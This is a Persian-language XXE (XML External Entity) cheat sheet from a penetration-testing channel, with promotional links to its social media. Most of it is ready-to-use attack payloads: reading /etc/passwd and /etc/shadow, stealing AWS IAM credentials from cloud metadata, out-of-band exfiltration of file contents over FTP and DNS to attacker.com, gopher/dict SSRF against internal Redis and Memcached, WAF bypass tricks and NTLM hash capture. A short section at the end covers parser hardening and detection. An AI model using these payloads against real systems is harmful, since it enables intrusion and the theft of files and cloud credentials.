XXE Cheat Sheet (2025 Update)

XXE

ATTACK

XXE Cheat Sheet (2025 Update)

تهیه شده توسط تیم TryHackBox

The Chaos

لینک زیر جهت حمایت از جامعه آموزش رایگان :

https://daramet.com/TryHackBox

ما را به دوستانتان معرفی کنید .

دیگر کانال ها و شبکه های اجتماعی ما را دنبال کنید:

کانال های تلگرام ما

آموزش تست نفوذ و Red Team :

@TryHackBox

رودمپ های مختلف:

@TryHackBoxOfficial

داستان های هک:

@TryHackBoxStory

آموزش برنامه نویسی:

@TryCodeBox

رادیو زیروپاد (پادکست ها):

@RadioZeroPod

اینستاگرام :

http://www.instagram.com/TryHackBox

یوتیوب:

https://youtube.com/@tryhackbox

XXE چیست؟

حمله XXE (XML External Entity Injection) از آسیبپذیریهای مرگبار در XML Parsers (مفسرهای XML) است. مهاجم با تزریق موجودیت خارجی به XML، قادر خواهد بود فایلهای سیستم را بخواند، SSRF انجام دهد، دادهها را استخراج کرده یا در خدمات ابری به سواستفاده بپردازد.

کاربردهای اصلی:

- استخراج و خواندن فایل حساس سرور
- اجرای SSRF و اسکن شبکه داخلی
- استخراج اطلاعات ابری (AWS/GCP/Azure)
- حمله Denial of Service (بزرگ کردن payload با موجودیت خارجی)

ساختار پایه و تعریف Entity

مثال ۱: تعریف موجودیت ساده داخلی

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY myentity "این یک تست XXE است">
]>
<root>
  <info>&myentity;</info>
</root>
```

مثال ۲: خواندن فایل سیستمی

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>
```

مثال ۳: تزریق با External DTD

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">
  %ext;
]>
<root/>
```

سناریوهای متنوع XXE

سناریو	توضیح و کاربرد	نمونه کاربرد
Response-based	پاسخ دادهی حساس در جواب	استخراج/etc/passwd
Error-based	نمایش داده با پیام خطا	فاش کردن مسیردهی
Blind XXE	بدون پاسخ مستقیم	خروجOOB/FTP/DNS
OOB Exfiltration	انتقال داده از سرور	FTP, DNS

پروتکلهای قابل اکسپلویت

پروتکل	توضیح	مثال
file://	خواندن فایل محلی	file:///etc/shadow
http/https://	اکسپلویت SSRF و OOB Data Exfiltration	http://evil.com/evil.dtd
ftp://	ارسال داده به سرور FTP	ftp://attacker.com/anything
dict://	ارسال درخواست به سرویس داخلی	dict://127.0.0.1:6379/_COMMAND
gopher://	ارسال درخواست به پروتکلهای مختلف	gopher://localhost:11211/_STATS
php://filter	رمزگذاری و مشاهده سورس PHP	php://filter/convert.base64-encode/resource=index.php
data://	ورود داده به صورت مستقیم	data://text/plain;base64,...
netdoc:/	جایگزین file در جاوا	netdoc:/etc/passwd
ldap://	حمله به LDAP	ldap://localhost:11211/%0astats%0aquit

Cloud Metadata

برای استخراج اطلاعات از متادیتای کلود، کافیست یکی از آدرسهای زیر را به عنوان موجودیت خارجی قرار دهید:

- AWS: http://169.254.169.254/latest/meta-data/
- Google Cloud: http://metadata.google.internal/computeMetadata/v1/
- Azure: http://169.254.169.254/metadata/instance?api-version=2017-04-02

مثال :

```
<!DOCTYPE data [
  <!ENTITY cloud SYSTEM "http://169.254.169.254/latest/meta-data/
   iam/security-credentials/admin">
]>
<data>&cloud;</data>
```

اکسپلویت Out-of-Band (OOB)

استخراج از طریق FTP

اول یک DTD مخرب روی سرور قرار دهید:

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY exfil SYSTEM 'ftp://attacker.com/%file;'>">
```

در XML

```
<!DOCTYPE data [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
  %all;
]>
<data>&exfil;</data>
```

استخراج از طریق DNS

DTD

```
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % all "<!ENTITY exfil SYSTEM '%file;.attacker.com'>">
```

XML

```
<!DOCTYPE data [
  <!ENTITY % xxe SYSTEM "http://attacker.com/dns.dtd">
  %xxe;
  %all;
]>
<data>&exfil;</data>
```

دور زدن WAF

- استفاده از PUBLIC بجای SYSTEM

```
<!ENTITY % xxe PUBLIC "anything" "http://evil.com/evil.dtd">
```

- تغییر encoding به UTF-16 یا سایر یونیکدها

```
<?xml version="1.0" encoding="UTF-16"?>
```

- حذف هدرXML

```
<!DOCTYPE data [ ... ]>
```

- اضافه کردن فاصله یا حروف خاص به DOCTYPE

```
<!DOCTYPE :_ SYSTEM "http://evil.com">
```

- استفاده از netdoc:/ به جای file:///

```
<!ENTITY % data SYSTEM "netdoc:/etc/passwd">
```

سناریوهای پیشرفته

اسکن پورت وSSRF

```
<!ENTITY scan SYSTEM "gopher://127.0.0.1:6379/_PING">
```

گرفتن Hash NTLM ویندوز

```
<!ENTITY hash SYSTEM "file://attacker.com/xyz">
```

مقابله و پاکسازی

پیشگیری برای برنامه نویسان:

- غیرفعالکردن DTD و موجودیت خارجی در پیکربندی XML Parsers
  - Java:

```
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
```

  - .NET:

```
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit;
```

  - Python:

```
ET.parse(..., parser=XMLParser(resolve_entities=False))
```

- اعتبارسنجی ورودی و استفاده از کتابخانه های امنdefusedxml ، SafeXML
- محدود کردن دسترسی شبکه و سطح دسترسی سرویس دهنده

تشخیص و پایش:

- لاگ گیری و هشدار بر اتصالهای غیرمعمول(FTP/dns/gopher)
- فعالسازی مانیتورینگ خطاهای XML درendpoint ها
- استفاده از WAF و ابزارهای – XDR اما تکیه کامل رویشان نکنید!
- استفاده از ابزارهای خودکار اسکن مانند BurpSuite یا OWASP ZAP با مجموعه payloadکامل

منابع رسمی

- راهنمای رسمی XXE درOWASP
- آزمایشگاههای XXE درPortSwigger
- PayloadsAllTheThingsگیتهاب